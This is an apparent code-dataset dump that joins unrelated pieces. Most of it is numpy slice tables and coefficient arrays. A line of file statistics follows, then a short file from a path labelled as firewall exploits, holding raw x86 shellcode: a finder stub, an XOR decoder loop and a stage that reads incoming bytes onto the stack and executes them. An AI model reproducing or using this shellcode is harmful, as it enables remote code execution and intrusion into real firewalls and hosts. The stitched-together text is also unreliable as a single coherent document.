(Ellipsis, slice(None, -14, None), slice(13, -1, None)),
(Ellipsis, slice(None, -14, None), slice(14, None, None)),
(Ellipsis, slice(1, -13, None), slice(14, None, None)),
(Ellipsis, slice(2, -12, None), slice(14, None, None)),
(Ellipsis, slice(3, -11, None), slice(14, None, None)),
(Ellipsis, slice(4, -10, None), slice(14, None, None)),
(Ellipsis, slice(5, -9, None), slice(14, None, None)),
(Ellipsis, slice(6, -8, None), slice(14, None, None)),
(Ellipsis, slice(7, -7, None), slice(14, None, None)),
(Ellipsis, slice(8, -6, None), slice(14, None, None)),
(Ellipsis, slice(9, -5, None), slice(14, None, None)),
(Ellipsis, slice(10, -4, None), slice(14, None, None)),
(Ellipsis, slice(11, -3, None), slice(14, None, None)),
(Ellipsis, slice(12, -2, None), slice(14, None, None)),
(Ellipsis, slice(13, -1, None), slice(14, None, None)),
(Ellipsis, slice(14, None, None), slice(14, None, None)),
(Ellipsis, slice(14, None, None), slice(13, -1, None)),
(Ellipsis, slice(14, None, None), slice(12, -2, None)),
(Ellipsis, slice(14, None, None), slice(11, -3, None)),
(Ellipsis, slice(14, None, None), slice(10, -4, None)),
(Ellipsis, slice(14, None, None), slice(9, -5, None)),
(Ellipsis, slice(14, None, None), slice(8, -6, None)),
(Ellipsis, slice(14, None, None), slice(7, -7, None)),
(Ellipsis, slice(14, None, None), slice(6, -8, None)),
(Ellipsis, slice(14, None, None), slice(5, -9, None)),
(Ellipsis, slice(14, None, None), slice(4, -10, None)),
(Ellipsis, slice(14, None, None), slice(3, -11, None)),
(Ellipsis, slice(14, None, None), slice(2, -12, None)),
(Ellipsis, slice(14, None, None), slice(1, -13, None)),
(Ellipsis, slice(14, None, None), slice(None, -14, None)),
(Ellipsis, slice(13, -1, None), slice(None, -14, None)),
(Ellipsis, slice(12, -2, None), slice(None, -14, None)),
(Ellipsis, slice(11, -3, None), slice(None, -14, None)),
(Ellipsis, slice(10, -4, None), slice(None, -14, None)),
(Ellipsis, slice(9, -5, None), slice(None, -14, None)),
(Ellipsis, slice(8, -6, None), slice(None, -14, None)),
(Ellipsis, slice(7, -7, None), slice(None, -14, None)),
(Ellipsis, slice(6, -8, None), slice(None, -14, None)),
(Ellipsis, slice(5, -9, None), slice(None, -14, None)),
(Ellipsis, slice(4, -10, None), slice(None, -14, None)),
(Ellipsis, slice(3, -11, None), slice(None, -14, None)),
(Ellipsis, slice(2, -12, None), slice(None, -14, None)),
(Ellipsis, slice(1, -13, None), slice(None, -14, None)),
],
7:[
(Ellipsis, slice(None, -16, None), slice(None, -16, None)),
(Ellipsis, slice(None, -16, None), slice(1, -15, None)),
(Ellipsis, slice(None, -16, None), slice(2, -14, None)),
(Ellipsis, slice(None, -16, None), slice(3, -13, None)),
(Ellipsis, slice(None, -16, None), slice(4, -12, None)),
(Ellipsis, slice(None, -16, None), slice(5, -11, None)),
(Ellipsis, slice(None, -16, None), slice(6, -10, None)),
(Ellipsis, slice(None, -16, None), slice(7, -9, None)),
(Ellipsis, slice(None, -16, None), slice(8, -8, None)),
(Ellipsis, slice(None, -16, None), slice(9, -7, None)),
(Ellipsis, slice(None, -16, None), slice(10, -6, None)),
(Ellipsis, slice(None, -16, None), slice(11, -5, None)),
(Ellipsis, slice(None, -16, None), slice(12, -4, None)),
(Ellipsis, slice(None, -16, None), slice(13, -3, None)),
(Ellipsis, slice(None, -16, None), slice(14, -2, None)),
(Ellipsis, slice(None, -16, None), slice(15, -1, None)),
(Ellipsis, slice(None, -16, None), slice(16, None, None)),
(Ellipsis, slice(1, -15, None), slice(16, None, None)),
(Ellipsis, slice(2, -14, None), slice(16, None, None)),
(Ellipsis, slice(3, -13, None), slice(16, None, None)),
(Ellipsis, slice(4, -12, None), slice(16, None, None)),
(Ellipsis, slice(5, -11, None), slice(16, None, None)),
(Ellipsis, slice(6, -10, None), slice(16, None, None)),
(Ellipsis, slice(7, -9, None), slice(16, None, None)),
(Ellipsis, slice(8, -8, None), slice(16, None, None)),
(Ellipsis, slice(9, -7, None), slice(16, None, None)),
(Ellipsis, slice(10, -6, None), slice(16, None, None)),
(Ellipsis, slice(11, -5, None), slice(16, None, None)),
(Ellipsis, slice(12, -4, None), slice(16, None, None)),
(Ellipsis, slice(13, -3, None), slice(16, None, None)),
(Ellipsis, slice(14, -2, None), slice(16, None, None)),
(Ellipsis, slice(15, -1, None), slice(16, None, None)),
(Ellipsis, slice(16, None, None), slice(16, None, None)),
(Ellipsis, slice(16, None, None), slice(15, -1, None)),
(Ellipsis, slice(16, None, None), slice(14, -2, None)),
(Ellipsis, slice(16, None, None), slice(13, -3, None)),
(Ellipsis, slice(16, None, None), slice(12, -4, None)),
(Ellipsis, slice(16, None, None), slice(11, -5, None)),
(Ellipsis, slice(16, None, None), slice(10, -6, None)),
(Ellipsis, slice(16, None, None), slice(9, -7, None)),
(Ellipsis, slice(16, None, None), slice(8, -8, None)),
(Ellipsis, slice(16, None, None), slice(7, -9, None)),
(Ellipsis, slice(16, None, None), slice(6, -10, None)),
(Ellipsis, slice(16, None, None), slice(5, -11, None)),
(Ellipsis, slice(16, None, None), slice(4, -12, None)),
(Ellipsis, slice(16, None, None), slice(3, -13, None)),
(Ellipsis, slice(16, None, None), slice(2, -14, None)),
(Ellipsis, slice(16, None, None), slice(1, -15, None)),
(Ellipsis, slice(16, None, None), slice(None, -16, None)),
(Ellipsis, slice(15, -1, None), slice(None, -16, None)),
(Ellipsis, slice(14, -2, None), slice(None, -16, None)),
(Ellipsis, slice(13, -3, None), slice(None, -16, None)),
(Ellipsis, slice(12, -4, None), slice(None, -16, None)),
(Ellipsis, slice(11, -5, None), slice(None, -16, None)),
(Ellipsis, slice(10, -6, None), slice(None, -16, None)),
(Ellipsis, slice(9, -7, None), slice(None, -16, None)),
(Ellipsis, slice(8, -8, None), slice(None, -16, None)),
(Ellipsis, slice(7, -9, None), slice(None, -16, None)),
(Ellipsis, slice(6, -10, None), slice(None, -16, None)),
(Ellipsis, slice(5, -11, None), slice(None, -16, None)),
(Ellipsis, slice(4, -12, None), slice(None, -16, None)),
(Ellipsis, slice(3, -13, None), slice(None, -16, None)),
(Ellipsis, slice(2, -14, None), slice(None, -16, None)),
(Ellipsis, slice(1, -15, None), slice(None, -16, None)),
],
8:[
(Ellipsis, slice(None, -18, None), slice(None, -18, None)),
(Ellipsis, slice(None, -18, None), slice(1, -17, None)),
(Ellipsis, slice(None, -18, None), slice(2, -16, None)),
(Ellipsis, slice(None, -18, None), slice(3, -15, None)),
(Ellipsis, slice(None, -18, None), slice(4, -14, None)),
(Ellipsis, slice(None, -18, None), slice(5, -13, None)),
(Ellipsis, slice(None, -18, None), slice(6, -12, None)),
(Ellipsis, slice(None, -18, None), slice(7, -11, None)),
(Ellipsis, slice(None, -18, None), slice(8, -10, None)),
(Ellipsis, slice(None, -18, None), slice(9, -9, None)),
(Ellipsis, slice(None, -18, None), slice(10, -8, None)),
(Ellipsis, slice(None, -18, None), slice(11, -7, None)),
(Ellipsis, slice(None, -18, None), slice(12, -6, None)),
(Ellipsis, slice(None, -18, None), slice(13, -5, None)),
(Ellipsis, slice(None, -18, None), slice(14, -4, None)),
(Ellipsis, slice(None, -18, None), slice(15, -3, None)),
(Ellipsis, slice(None, -18, None), slice(16, -2, None)),
(Ellipsis, slice(None, -18, None), slice(17, -1, None)),
(Ellipsis, slice(None, -18, None), slice(18, None, None)),
(Ellipsis, slice(1, -17, None), slice(18, None, None)),
(Ellipsis, slice(2, -16, None), slice(18, None, None)),
(Ellipsis, slice(3, -15, None), slice(18, None, None)),
(Ellipsis, slice(4, -14, None), slice(18, None, None)),
(Ellipsis, slice(5, -13, None), slice(18, None, None)),
(Ellipsis, slice(6, -12, None), slice(18, None, None)),
(Ellipsis, slice(7, -11, None), slice(18, None, None)),
(Ellipsis, slice(8, -10, None), slice(18, None, None)),
(Ellipsis, slice(9, -9, None), slice(18, None, None)),
(Ellipsis, slice(10, -8, None), slice(18, None, None)),
(Ellipsis, slice(11, -7, None), slice(18, None, None)),
(Ellipsis, slice(12, -6, None), slice(18, None, None)),
(Ellipsis, slice(13, -5, None), slice(18, None, None)),
(Ellipsis, slice(14, -4, None), slice(18, None, None)),
(Ellipsis, slice(15, -3, None), slice(18, None, None)),
(Ellipsis, slice(16, -2, None), slice(18, None, None)),
(Ellipsis, slice(17, -1, None), slice(18, None, None)),
(Ellipsis, slice(18, None, None), slice(18, None, None)),
(Ellipsis, slice(18, None, None), slice(17, -1, None)),
(Ellipsis, slice(18, None, None), slice(16, -2, None)),
(Ellipsis, slice(18, None, None), slice(15, -3, None)),
(Ellipsis, slice(18, None, None), slice(14, -4, None)),
(Ellipsis, slice(18, None, None), slice(13, -5, None)),
(Ellipsis, slice(18, None, None), slice(12, -6, None)),
(Ellipsis, slice(18, None, None), slice(11, -7, None)),
(Ellipsis, slice(18, None, None), slice(10, -8, None)),
(Ellipsis, slice(18, None, None), slice(9, -9, None)),
(Ellipsis, slice(18, None, None), slice(8, -10, None)),
(Ellipsis, slice(18, None, None), slice(7, -11, None)),
(Ellipsis, slice(18, None, None), slice(6, -12, None)),
(Ellipsis, slice(18, None, None), slice(5, -13, None)),
(Ellipsis, slice(18, None, None), slice(4, -14, None)),
(Ellipsis, slice(18, None, None), slice(3, -15, None)),
(Ellipsis, slice(18, None, None), slice(2, -16, None)),
(Ellipsis, slice(18, None, None), slice(1, -17, None)),
(Ellipsis, slice(18, None, None), slice(None, -18, None)),
(Ellipsis, slice(17, -1, None), slice(None, -18, None)),
(Ellipsis, slice(16, -2, None), slice(None, -18, None)),
(Ellipsis, slice(15, -3, None), slice(None, -18, None)),
(Ellipsis, slice(14, -4, None), slice(None, -18, None)),
(Ellipsis, slice(13, -5, None), slice(None, -18, None)),
(Ellipsis, slice(12, -6, None), slice(None, -18, None)),
(Ellipsis, slice(11, -7, None), slice(None, -18, None)),
(Ellipsis, slice(10, -8, None), slice(None, -18, None)),
(Ellipsis, slice(9, -9, None), slice(None, -18, None)),
(Ellipsis, slice(8, -10, None), slice(None, -18, None)),
(Ellipsis, slice(7, -11, None), slice(None, -18, None)),
(Ellipsis, slice(6, -12, None), slice(None, -18, None)),
(Ellipsis, slice(5, -13, None), slice(None, -18, None)),
(Ellipsis, slice(4, -14, None), slice(None, -18, None)),
(Ellipsis, slice(3, -15, None), slice(None, -18, None)),
(Ellipsis, slice(2, -16, None), slice(None, -18, None)),
(Ellipsis, slice(1, -17, None), slice(None, -18, None)),
],
9:[
(Ellipsis, slice(None, -20, None), slice(None, -20, None)),
(Ellipsis, slice(None, -20, None), slice(1, -19, None)),
(Ellipsis, slice(None, -20, None), slice(2, -18, None)),
(Ellipsis, slice(None, -20, None), slice(3, -17, None)),
(Ellipsis, slice(None, -20, None), slice(4, -16, None)),
(Ellipsis, slice(None, -20, None), slice(5, -15, None)),
(Ellipsis, slice(None, -20, None), slice(6, -14, None)),
(Ellipsis, slice(None, -20, None), slice(7, -13, None)),
(Ellipsis, slice(None, -20, None), slice(8, -12, None)),
(Ellipsis, slice(None, -20, None), slice(9, -11, None)),
(Ellipsis, slice(None, -20, None), slice(10, -10, None)),
(Ellipsis, slice(None, -20, None), slice(11, -9, None)),
(Ellipsis, slice(None, -20, None), slice(12, -8, None)),
(Ellipsis, slice(None, -20, None), slice(13, -7, None)),
(Ellipsis, slice(None, -20, None), slice(14, -6, None)),
(Ellipsis, slice(None, -20, None), slice(15, -5, None)),
(Ellipsis, slice(None, -20, None), slice(16, -4, None)),
(Ellipsis, slice(None, -20, None), slice(17, -3, None)),
(Ellipsis, slice(None, -20, None), slice(18, -2, None)),
(Ellipsis, slice(None, -20, None), slice(19, -1, None)),
(Ellipsis, slice(None, -20, None), slice(20, None, None)),
(Ellipsis, slice(1, -19, None), slice(20, None, None)),
(Ellipsis, slice(2, -18, None), slice(20, None, None)),
(Ellipsis, slice(3, -17, None), slice(20, None, None)),
(Ellipsis, slice(4, -16, None), slice(20, None, None)),
(Ellipsis, slice(5, -15, None), slice(20, None, None)),
(Ellipsis, slice(6, -14, None), slice(20, None, None)),
(Ellipsis, slice(7, -13, None), slice(20, None, None)),
(Ellipsis, slice(8, -12, None), slice(20, None, None)),
(Ellipsis, slice(9, -11, None), slice(20, None, None)),
(Ellipsis, slice(10, -10, None), slice(20, None, None)),
(Ellipsis, slice(11, -9, None), slice(20, None, None)),
(Ellipsis, slice(12, -8, None), slice(20, None, None)),
(Ellipsis, slice(13, -7, None), slice(20, None, None)),
(Ellipsis, slice(14, -6, None), slice(20, None, None)),
(Ellipsis, slice(15, -5, None), slice(20, None, None)),
(Ellipsis, slice(16, -4, None), slice(20, None, None)),
(Ellipsis, slice(17, -3, None), slice(20, None, None)),
(Ellipsis, slice(18, -2, None), slice(20, None, None)),
(Ellipsis, slice(19, -1, None), slice(20, None, None)),
(Ellipsis, slice(20, None, None), slice(20, None, None)),
(Ellipsis, slice(20, None, None), slice(19, -1, None)),
(Ellipsis, slice(20, None, None), slice(18, -2, None)),
(Ellipsis, slice(20, None, None), slice(17, -3, None)),
(Ellipsis, slice(20, None, None), slice(16, -4, None)),
(Ellipsis, slice(20, None, None), slice(15, -5, None)),
(Ellipsis, slice(20, None, None), slice(14, -6, None)),
(Ellipsis, slice(20, None, None), slice(13, -7, None)),
(Ellipsis, slice(20, None, None), slice(12, -8, None)),
(Ellipsis, slice(20, None, None), slice(11, -9, None)),
(Ellipsis, slice(20, None, None), slice(10, -10, None)),
(Ellipsis, slice(20, None, None), slice(9, -11, None)),
(Ellipsis, slice(20, None, None), slice(8, -12, None)),
(Ellipsis, slice(20, None, None), slice(7, -13, None)),
(Ellipsis, slice(20, None, None), slice(6, -14, None)),
(Ellipsis, slice(20, None, None), slice(5, -15, None)),
(Ellipsis, slice(20, None, None), slice(4, -16, None)),
(Ellipsis, slice(20, None, None), slice(3, -17, None)),
(Ellipsis, slice(20, None, None), slice(2, -18, None)),
(Ellipsis, slice(20, None, None), slice(1, -19, None)),
(Ellipsis, slice(20, None, None), slice(None, -20, None)),
(Ellipsis, slice(19, -1, None), slice(None, -20, None)),
(Ellipsis, slice(18, -2, None), slice(None, -20, None)),
(Ellipsis, slice(17, -3, None), slice(None, -20, None)),
(Ellipsis, slice(16, -4, None), slice(None, -20, None)),
(Ellipsis, slice(15, -5, None), slice(None, -20, None)),
(Ellipsis, slice(14, -6, None), slice(None, -20, None)),
(Ellipsis, slice(13, -7, None), slice(None, -20, None)),
(Ellipsis, slice(12, -8, None), slice(None, -20, None)),
(Ellipsis, slice(11, -9, None), slice(None, -20, None)),
(Ellipsis, slice(10, -10, None), slice(None, -20, None)),
(Ellipsis, slice(9, -11, None), slice(None, -20, None)),
(Ellipsis, slice(8, -12, None), slice(None, -20, None)),
(Ellipsis, slice(7, -13, None), slice(None, -20, None)),
(Ellipsis, slice(6, -14, None), slice(None, -20, None)),
(Ellipsis, slice(5, -15, None), slice(None, -20, None)),
(Ellipsis, slice(4, -16, None), slice(None, -20, None)),
(Ellipsis, slice(3, -17, None), slice(None, -20, None)),
(Ellipsis, slice(2, -18, None), slice(None, -20, None)),
(Ellipsis, slice(1, -19, None), slice(None, -20, None)),
],
}
Y_COEFFS = {
1:np.array([-0.5, -0.5, -0.5, 0. , 0.5, 0.5, 0.5, 0. ]),
2:np.array([-0.25, -0.25, -0.25, -0.25, -0.25, -0.5 , 0. , 0.5 , 0.25,
0.25, 0.25, 0.25, 0.25, 0.5 , 0. , -0.5 ]),
3:np.array([-0.16666667, -0.16666667, -0.16666667, -0.16666667, -0.16666667,
-0.16666667, -0.16666667, -0.25 , -0.5 , 0. ,
0.5 , 0.25 , 0.16666667, 0.16666667, 0.16666667,
0.16666667, 0.16666667, 0.16666667, 0.16666667, 0.25 ,
0.5 , 0. , -0.5 , -0.25 ]),
4:np.array([-0.125 , -0.125 , -0.125 , -0.125 , -0.125 ,
-0.125 , -0.125 , -0.125 , -0.125 , -0.16666667,
-0.25 , -0.5 , 0. , 0.5 , 0.25 ,
0.16666667, 0.125 , 0.125 , 0.125 , 0.125 ,
0.125 , 0.125 , 0.125 , 0.125 , 0.125 ,
0.16666667, 0.25 , 0.5 , 0. , -0.5 ,
-0.25 , -0.16666667]),
5:np.array([-0.1 , -0.1 , -0.1 , -0.1 , -0.1 ,
-0.1 , -0.1 , -0.1 , -0.1 , -0.1 ,
-0.1 , -0.125 , -0.16666667, -0.25 , -0.5 ,
0. , 0.5 , 0.25 , 0.16666667, 0.125 ,
0.1 , 0.1 , 0.1 , 0.1 , 0.1 ,
0.1 , 0.1 , 0.1 , 0.1 , 0.1 ,
0.1 , 0.125 , 0.16666667, 0.25 , 0.5 ,
0. , -0.5 , -0.25 , -0.16666667, -0.125 ]),
6:np.array([-0.08333333, -0.08333333, -0.08333333, -0.08333333, -0.08333333,
-0.08333333, -0.08333333, -0.08333333, -0.08333333, -0.08333333,
-0.08333333, -0.08333333, -0.08333333, -0.1 , -0.125 ,
-0.16666667, -0.25 , -0.5 , 0. , 0.5 ,
0.25 , 0.16666667, 0.125 , 0.1 , 0.08333333,
0.08333333, 0.08333333, 0.08333333, 0.08333333, 0.08333333,
0.08333333, 0.08333333, 0.08333333, 0.08333333, 0.08333333,
0.08333333, 0.08333333, 0.1 , 0.125 , 0.16666667,
0.25 , 0.5 , 0. , -0.5 , -0.25 ,
-0.16666667, -0.125 , -0.1 ]),
7:np.array([-0.07142857, -0.07142857, -0.07142857, -0.07142857, -0.07142857,
-0.07142857, -0.07142857, -0.07142857, -0.07142857, -0.07142857,
-0.07142857, -0.07142857, -0.07142857, -0.07142857, -0.07142857,
-0.08333333, -0.1 , -0.125 , -0.16666667, -0.25 ,
-0.5 , 0. , 0.5 , 0.25 , 0.16666667,
0.125 , 0.1 , 0.08333333, 0.07142857, 0.07142857,
0.07142857, 0.07142857, 0.07142857, 0.07142857, 0.07142857,
0.07142857, 0.07142857, 0.07142857, 0.07142857, 0.07142857,
0.07142857, 0.07142857, 0.07142857, 0.08333333, 0.1 ,
0.125 , 0.16666667, 0.25 , 0.5 , 0. ,
-0.5 , -0.25 , -0.16666667, -0.125 , -0.1 ,
-0.08333333]),
8:np.array([-0.0625 , -0.0625 , -0.0625 , -0.0625 , -0.0625 ,
-0.0625 , -0.0625 , -0.0625 , -0.0625 , -0.0625 ,
-0.0625 , -0.0625 , -0.0625 , -0.0625 , -0.0625 ,
-0.0625 , -0.0625 , -0.07142857, -0.08333333, -0.1 ,
-0.125 , -0.16666667, -0.25 , -0.5 , 0. ,
0.5 , 0.25 , 0.16666667, 0.125 , 0.1 ,
0.08333333, 0.07142857, 0.0625 , 0.0625 , 0.0625 ,
0.0625 , 0.0625 , 0.0625 , 0.0625 , 0.0625 ,
0.0625 , 0.0625 , 0.0625 , 0.0625 , 0.0625 ,
0.0625 , 0.0625 , 0.0625 , 0.0625 , 0.07142857,
0.08333333, 0.1 , 0.125 , 0.16666667, 0.25 ,
0.5 , 0. , -0.5 , -0.25 , -0.16666667,
-0.125 , -0.1 , -0.08333333, -0.07142857]),
9:np.array([-0.05555556, -0.05555556, -0.05555556, -0.05555556, -0.05555556,
-0.05555556, -0.05555556, -0.05555556, -0.05555556, -0.05555556,
-0.05555556, -0.05555556, -0.05555556, -0.05555556, -0.05555556,
-0.05555556, -0.05555556, -0.05555556, -0.05555556, -0.0625 ,
-0.07142857, -0.08333333, -0.1 , -0.125 , -0.16666667,
-0.25 , -0.5 , 0. , 0.5 , 0.25 ,
0.16666667, 0.125 , 0.1 , 0.08333333, 0.07142857,
0.0625 , 0.05555556, 0.05555556, 0.05555556, 0.05555556,
0.05555556, 0.05555556, 0.05555556, 0.05555556, 0.05555556,
0.05555556, 0.05555556, 0.05555556, 0.05555556, 0.05555556,
0.05555556, 0.05555556, 0.05555556, 0.05555556, 0.05555556,
0.0625 , 0.07142857, 0.08333333, 0.1 , 0.125 ,
0.16666667, 0.25 , 0.5 , 0. , -0.5 ,
-0.25 , -0.16666667, -0.125 , -0.1 , -0.08333333,
-0.07142857, -0.0625 ]),
10:np.array([-0.05 , -0.05 , -0.05 , -0.05 , -0.05 ,
-0.05 , -0.05 , -0.05 , -0.05 , -0.05 ,
-0.05 , -0.05 , -0.05 , -0.05 , -0.05 ,
-0.05 , -0.05 , -0.05 , -0.05 , -0.05 ,
-0.05 , -0.05555556, -0.0625 , -0.07142857, -0.08333333,
-0.1 , -0.125 , -0.16666667, -0.25 , -0.5 ,
0. , 0.5 , 0.25 , 0.16666667, 0.125 ,
0.1 , 0.08333333, 0.07142857, 0.0625 , 0.05555556,
0.05 , 0.05 , 0.05 , 0.05 , 0.05 ,
0.05 , 0.05 , 0.05 , 0.05 , 0.05 ,
0.05 , 0.05 , 0.05 , 0.05 , 0.05 ,
0.05 , 0.05 , 0.05 , 0.05 , 0.05 ,
0.05 , 0.05555556, 0.0625 , 0.07142857, 0.08333333,
0.1 , 0.125 , 0.16666667, 0.25 , 0.5 ,
0. , -0.5 , -0.25 , -0.16666667, -0.125 ,
-0.1 , -0.08333333, -0.07142857, -0.0625 , -0.05555556]),
}
X_COEFFS = {
1:np.array([-0.5, 0. , 0.5, 0.5, 0.5, 0. , -0.5, -0.5]),
2:np.array([-0.25, -0.5 , 0. , 0.5 , 0.25, 0.25, 0.25, 0.25, 0.25,
0.5 , 0. , -0.5 , -0.25, -0.25, -0.25, -0.25]),
3:np.array([-0.16666667, -0.25 , -0.5 , 0. , 0.5 ,
0.25 , 0.16666667, 0.16666667, 0.16666667, 0.16666667,
0.16666667, 0.16666667, 0.16666667, 0.25 , 0.5 ,
0. , -0.5 , -0.25 , -0.16666667, -0.16666667,
-0.16666667, -0.16666667, -0.16666667, -0.16666667]),
4:np.array([-0.125 , -0.16666667, -0.25 , -0.5 , 0. ,
0.5 , 0.25 , 0.16666667, 0.125 , 0.125 ,
0.125 , 0.125 , 0.125 , 0.125 , 0.125 ,
0.125 , 0.125 , 0.16666667, 0.25 , 0.5 ,
0. , -0.5 , -0.25 , -0.16666667, -0.125 ,
-0.125 , -0.125 , -0.125 , -0.125 , -0.125 ,
-0.125 , -0.125 ]),
5:np.array([-0.1 , -0.125 , -0.16666667, -0.25 , -0.5 ,
0. , 0.5 , 0.25 , 0.16666667, 0.125 ,
0.1 , 0.1 , 0.1 , 0.1 , 0.1 ,
0.1 , 0.1 , 0.1 , 0.1 , 0.1 ,
0.1 , 0.125 , 0.16666667, 0.25 , 0.5 ,
0. , -0.5 , -0.25 , -0.16666667, -0.125 ,
-0.1 , -0.1 , -0.1 , -0.1 , -0.1 ,
-0.1 , -0.1 , -0.1 , -0.1 , -0.1 ]),
6:np.array([-0.08333333, -0.1 , -0.125 , -0.16666667, -0.25 ,
-0.5 , 0. , 0.5 , 0.25 , 0.16666667,
0.125 , 0.1 , 0.08333333, 0.08333333, 0.08333333,
0.08333333, 0.08333333, 0.08333333, 0.08333333, 0.08333333,
0.08333333, 0.08333333, 0.08333333, 0.08333333, 0.08333333,
0.1 , 0.125 , 0.16666667, 0.25 , 0.5 ,
0. , -0.5 , -0.25 , -0.16666667, -0.125 ,
-0.1 , -0.08333333, -0.08333333, -0.08333333, -0.08333333,
-0.08333333, -0.08333333, -0.08333333, -0.08333333, -0.08333333,
-0.08333333, -0.08333333, -0.08333333]),
7:np.array([-0.07142857, -0.08333333, -0.1 , -0.125 , -0.16666667,
-0.25 , -0.5 , 0. , 0.5 , 0.25 ,
0.16666667, 0.125 , 0.1 , 0.08333333, 0.07142857,
0.07142857, 0.07142857, 0.07142857, 0.07142857, 0.07142857,
0.07142857, 0.07142857, 0.07142857, 0.07142857, 0.07142857,
0.07142857, 0.07142857, 0.07142857, 0.07142857, 0.08333333,
0.1 , 0.125 , 0.16666667, 0.25 , 0.5 ,
0. , -0.5 , -0.25 , -0.16666667, -0.125 ,
-0.1 , -0.08333333, -0.07142857, -0.07142857, -0.07142857,
-0.07142857, -0.07142857, -0.07142857, -0.07142857, -0.07142857,
-0.07142857, -0.07142857, -0.07142857, -0.07142857, -0.07142857,
-0.07142857]),
8:np.array([-0.0625 , -0.07142857, -0.08333333, -0.1 , -0.125 ,
-0.16666667, -0.25 , -0.5 , 0. , 0.5 ,
0.25 , 0.16666667, 0.125 , 0.1 , 0.08333333,
0.07142857, 0.0625 , 0.0625 , 0.0625 , 0.0625 ,
0.0625 , 0.0625 , 0.0625 , 0.0625 , 0.0625 ,
0.0625 , 0.0625 , 0.0625 , 0.0625 , 0.0625 ,
0.0625 , 0.0625 , 0.0625 , 0.07142857, 0.08333333,
0.1 , 0.125 , 0.16666667, 0.25 , 0.5 ,
0. , -0.5 , -0.25 , -0.16666667, -0.125 ,
-0.1 , -0.08333333, -0.07142857, -0.0625 , -0.0625 ,
-0.0625 , -0.0625 , -0.0625 , -0.0625 , -0.0625 ,
-0.0625 , -0.0625 , -0.0625 , -0.0625 , -0.0625 ,
-0.0625 , -0.0625 , -0.0625 , -0.0625 ]),
9:np.array([-0.05555556, -0.0625 , -0.07142857, -0.08333333, -0.1 ,
-0.125 , -0.16666667, -0.25 , -0.5 , 0. ,
0.5 , 0.25 , 0.16666667, 0.125 , 0.1 ,
0.08333333, 0.07142857, 0.0625 , 0.05555556, 0.05555556,
0.05555556, 0.05555556, 0.05555556, 0.05555556, 0.05555556,
0.05555556, 0.05555556, 0.05555556, 0.05555556, 0.05555556,
0.05555556, 0.05555556, 0.05555556, 0.05555556, 0.05555556,
0.05555556, 0.05555556, 0.0625 , 0.07142857, 0.08333333,
0.1 , 0.125 , 0.16666667, 0.25 , 0.5 ,
0. , -0.5 , -0.25 , -0.16666667, -0.125 ,
-0.1 , -0.08333333, -0.07142857, -0.0625 , -0.05555556,
-0.05555556, -0.05555556, -0.05555556, -0.05555556, -0.05555556,
-0.05555556, -0.05555556, -0.05555556, -0.05555556, -0.05555556,
-0.05555556, -0.05555556, -0.05555556, -0.05555556, -0.05555556,
-0.05555556, -0.05555556]),
10:np.array([-0.05 , -0.05555556, -0.0625 , -0.07142857, -0.08333333,
-0.1 , -0.125 , -0.16666667, -0.25 , -0.5 ,
0. , 0.5 , 0.25 , 0.16666667, 0.125 ,
0.1 , 0.08333333, 0.07142857, 0.0625 , 0.05555556,
0.05 , 0.05 , 0.05 , 0.05 , 0.05 ,
0.05 , 0.05 , 0.05 , 0.05 , 0.05 ,
0.05 , 0.05 , 0.05 , 0.05 , 0.05 ,
0.05 , 0.05 , 0.05 , 0.05 , 0.05 ,
0.05 , 0.05555556, 0.0625 , 0.07142857, 0.08333333,
0.1 , 0.125 , 0.16666667, 0.25 , 0.5 ,
0. , -0.5 , -0.25 , -0.16666667, -0.125 ,
-0.1 , -0.08333333, -0.07142857, -0.0625 , -0.05555556,
-0.05 , -0.05 , -0.05 , -0.05 , -0.05 ,
-0.05 , -0.05 , -0.05 , -0.05 , -0.05 ,
-0.05 , -0.05 , -0.05 , -0.05 , -0.05 ,
-0.05 , -0.05 , -0.05 , -0.05 , -0.05 ]),
}
| 63.067588 | 81 | 0.490659 | 5,760 | 41,057 | 3.496875 | 0.007292 | 0.283984 | 0.362923 | 0.125112 | 0.997816 | 0.993049 | 0.976566 | 0.272763 | 0.272763 | 0.272763 | 0 | 0.228599 | 0.297221 | 41,057 | 650 | 82 | 63.164615 | 0.469467 | 0 | 0 | 0.172093 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.00155 | 0 | 0.00155 | 0 | 0 | 0 | 0 | null | 1 | 1 | 0 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 7 |
a241e313eb7b7a223a52b4f346040f6a9ab7337c | 5,974 | py | Python | TAO/Firewall/EXPLOITS/ELBO/shellcode.py | dendisuhubdy/grokmachine | 120a21a25c2730ed356739231ec8b99fc0575c8b | [
"BSD-3-Clause"
] | 46 | 2017-05-15T11:15:08.000Z | 2018-07-02T03:32:52.000Z | TAO/Firewall/EXPLOITS/ELBO/shellcode.py | dendisuhubdy/grokmachine | 120a21a25c2730ed356739231ec8b99fc0575c8b | [
"BSD-3-Clause"
] | null | null | null | TAO/Firewall/EXPLOITS/ELBO/shellcode.py | dendisuhubdy/grokmachine | 120a21a25c2730ed356739231ec8b99fc0575c8b | [
"BSD-3-Clause"
] | 24 | 2017-05-17T03:26:17.000Z | 2018-07-09T07:00:50.000Z | finder = '\xeb\x03\x5f\xff\xe7\xe8\xf8\xff\xff\xff'
decoder = '\xb8\x89\xaa\xaa\xaa\x35\xaa\xaa\xaa\xaa\x01\xc7\x89\xfe\xb9\xef\xbe\xad\xde\x81\xf1\xaa\xaa\xaa\xaa\x8a\x1f\x80\xf3\xaa\x88\x1f\x47\xe2\xf6'
execute_post = '\xe8\x00\x00\x00\x00\x5d\xbe\xef\xbe\xad\xde\x89\xf7\x89\xec\x29\xf4\xb8\x03\x00\x00\x00\xbb\x00\x00\x00\x00\x89\xe1\x89\xf2\xcd\x80\x3d\xff\xff\xff\xff\x75\x05\xe9\x18\x00\x00\x00\x01\xc4\x29\xc6\x74\x06\x85\xc0\x75\xda\xeb\xef\x8d\x95\x3d\xfc\xff\xff\x89\xec\x29\xfc\xff\xe4\xb8\x01\x00\x00\x00\x31\xdb\xcd\x80'
